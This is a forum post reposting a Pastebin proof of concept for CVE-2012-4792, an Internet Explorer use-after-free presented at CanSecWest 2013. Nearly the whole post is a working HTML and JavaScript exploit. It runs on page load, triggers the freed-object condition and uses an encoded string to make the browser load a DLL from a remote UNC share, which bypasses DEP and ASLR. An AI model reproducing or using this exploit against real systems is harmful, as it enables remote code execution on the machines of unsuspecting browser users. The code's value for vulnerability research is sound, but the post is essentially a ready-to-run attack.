Jump to content
Nytro

CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT"

Recommended Posts

Posted

[h=1]CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT[/h]

    <!doctype html>
<html>
<head>
<script>
// CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" in CanSecWest 2013
// Effective in 32-bit IE on x64 Windows
// Will load \\192.168.59.128\x\x.dll
// https://twitter.com/tombkeeper
function GIFT() {
var e0 = null;
var e1 = null;
var e2 = null;

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
window.location = "\u0274\u7ffe\u4242\u4242\u0014\u0030\u0044" +
"\u0012\u1212\u0004\u005c\u005c\u0031\u0039\u0032\u002e\u0031" +
"\u0036\u0038\u002e\u0035\u0039\u002e\u0031\u0032\u0038\u005c" +
"\u0078\u005c\u0078\u002e\u0064\u006c\u006c\u006e\u0074\u0064" +
"\u006c\u006c\u002e\u0064\u006c\u006c";
}

</script>
</head>
<body onload="eval(GIFT())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

Sursa:

 CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" - Pastebin.com

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...